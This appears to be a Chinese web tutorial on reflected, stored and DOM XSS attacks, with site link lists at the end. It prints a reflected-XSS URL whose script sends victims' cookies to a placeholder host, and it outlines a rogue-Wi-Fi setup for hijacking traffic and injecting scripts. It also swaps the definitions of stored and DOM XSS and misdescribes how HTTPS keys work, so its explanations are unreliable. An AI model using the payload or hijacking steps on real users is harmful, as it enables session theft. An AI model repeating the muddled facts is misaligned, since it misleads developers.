常见的几种XSS攻击
常见的几种XSS攻击
常见的几种XSS攻击一、反射型XSS
1、原理
发请求时,XSS代码出现在URL中,提交给服务端。服务端返回的内容,也带上了这段XSS代码。最后浏览器执行XSS代码。
2、实例
构造获取用户cookies的地址,通过群或者垃圾邮件,来让其他人点击这个地址
http://aaaa/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
3、开发安全措施
(1)、前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。
(2)、后端接收请求时,验证请求是否为攻击请求,比如我们接收的数据是用户年龄,那么在后端,需要判断一下数据是否是Number,攻击则屏蔽。
(3)、避免使用eval,new Function等执行字符串的方法,除非确定字符串和用户输入无关。
(4)、使用innerHTML,document.write的时候,如果数据是用户输入的,那么需要对关键字符都进行过滤与转义。
二、存储型XSS
1、原理
一般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。
2、实例
(1)、发一篇文章,里面包含了恶意脚本
今天天气不错啊!<script>alert('handsome boy')</script>
(2)、后端没有对文章进行过滤,直接保存文章内容到数据库。
(3)、当其他看这篇文章的时候,包含的恶意脚本就会执行。
3、开发安全措施
(1)、首要是服务端要进行过滤,因为前端的校验可以被绕过。
(2)、前端要以各种方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。
三、DOM XSS
1、原理
存储型和反射型的区别就是,提交的XSS代码会存储在服务器端。是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。
2、实例
wifi流量劫持,中间人可以看到用户的每一个请求,可以在页面嵌入恶意代码,使用恶意代码获取用户的信息,可以返回钓鱼页面。
(1)、提供一个免费的wifi。
(2)、开启一个特殊的DNS服务,将所有域名都解析到我们的电脑上,并把Wifi的DHCP-DNS设置为我们的电脑IP。
(3)、之后连上wifi的用户打开任何网站,请求都将被我们截取到。我们根据http头中的host字段来转发到真正服务器上。
(4)、收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。
3、开发安全措施
可以使用HTTPS,HTTPS会在请求数据之前进行一次握手,使得客户端与服务端都有一个私钥,服务端用这个私钥加密,客户端用这个私钥解密,这样即使数据被人截取了,也是加密后的数据。
- 常见的几种XSS攻击
- nginxssl证书怎么设置(nginx结合openssl实现https的方法)
- django框架教程学习(使用Django简单编写一个XSS平台的方法步骤)
- web中如何预防xss攻击(详解前端安全之JavaScript防http劫持与XSS)
- docker如何访问nginx(基于docker启动nginxssl配置)
- 焕然一新 成都轨道集团官方网站改版上线(成都轨道集团官方网站改版上线)
- 成都轨道交通19号线二期全线电通(成都轨道交通19号线二期全线电通)
- 19号线二期全线电通 轨道交通项目最新进展来了(19号线二期全线电通)
- 涉及3条地铁线路 成都这4座轨道交通站点有新名字了(涉及3条地铁线路)
- 来了 成都轨道交通5条线路刷新 进度条(成都轨道交通5条线路刷新)
- 一部手机两套系统 OPPO Find X3的正确打开方式你知道吗(一部手机两套系统)
热门推荐
- arm堆栈解析程序(浅析ARM架构下的函数的调用过程)
- 在sqlserver中如何看表格的类型(SQL Server 中的数据类型隐式转换问题)
- server2008对前端有啥用(MyWebServer好不好?MyWebServer WEB服务器软件介绍)
- html5添加背景(Html5实现首页动态视频背景的示例代码)
- sql常见的聚合函数有哪些(SQL中的开窗函数详解可代替聚合函数使用)
- asp.net将Excel文档转换成pdf
- 如何使用github中的python库(使用GitHub和Python实现持续部署的方法)
- jQuery on()方法
- 运维堡垒机怎么搭建(堡塔云控平台添加服务器受控端图文教程)
- python贪吃蛇项目介绍(python简单贪吃蛇开发)